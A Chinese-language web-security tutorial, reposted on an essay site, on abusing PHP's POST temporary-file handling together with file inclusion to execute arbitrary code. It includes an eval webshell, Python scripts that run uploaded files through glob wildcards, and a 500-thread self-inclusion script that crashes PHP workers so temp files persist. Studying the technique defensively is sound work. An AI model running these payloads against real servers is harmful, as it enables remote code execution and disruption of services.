600字范文,内容丰富有趣,生活中的好帮手!
600字范文 > 利用 PHP POST 临时文件机制实现任意文件上传

利用 PHP POST 临时文件机制实现任意文件上传

时间:2022-07-26 11:18:19

相关推荐

利用 PHP POST 临时文件机制实现任意文件上传

文章目录

原理如何获取临时文件名$_FILESphpinfoglob如何利用该文件组合请求延长临时文件存在时间参考

原理

向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件

该文件默认存储在/tmp目录中『可通过php.iniupload_tmp_dir指定存储位置』文件名为php[6个随机字符],例:phpG4ef0q若本次请求正常结束,临时文件会被自动删除若非正常结束,比如崩溃,临时文件可能会被永久保留

文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!

如何获取临时文件名

$_FILES

可以通过$_FILES获取文件信息

Array([name] => run.sh[full_path] => run.sh[type] => [tmp_name] => /tmp/phpoFnbQf[error] => 0[size] => 10)

phpinfo

phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到$_FILES变量的内容,从而拿到临时文件名

glob

若上述方法都无法实施,在 Linux 中,还可以通过glob 通配符定位文件

glob 简单使用:

*:代替 0 个或 任意个字符?:代替 1 个字符[...]:匹配其中一个字符,例[a,b,c]匹配字符a / b / c{a, b}:匹配 a 或者 b

如何利用该文件

组合请求

虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:

该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件

# a.php<?php$code = $_GET['code'];eval($code);?>

Python 脚本利用

# run.sh 文件内容:# echo $PATHimport requests# 上传文件同时,执行 shellurl = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"r = requests.post(url, files={'file': open('./run.sh')})print(r.text)# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延长临时文件存在时间

部分情况下,我们无法将上传文件和执行shell组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!

可以通过文件包含让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。

同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!

基于此,我们便可以编写并发脚本,不断发起 post 文件的请求

import requestsfrom threading import Threaddef test():url = "http://localhost:8080/include.php?file=include.php"r = requests.post(url, files={'file': open('./run.sh')})print(r.text)lst = []for _ in range(500):t = Thread(target=test)lst.append(t)t.start()for item in lst:item.join()

可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除

于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件

import requestsurl = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"r = requests.get(url)print(r.text)# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

参考

无字母数字webshell之提高篇

/PENETRATION/webshell-without-alphanum-advanced.html

PHP临时文件机制与利用的思考

/post/id/183046

PHP文件包含漏洞(利用phpinfo)复现

/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

glob(7) — Linux manual page

/linux/man-pages/man7/glob.7.html

操作文件和目录

http://billie66.github.io/TLCL/book/chap05.html

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。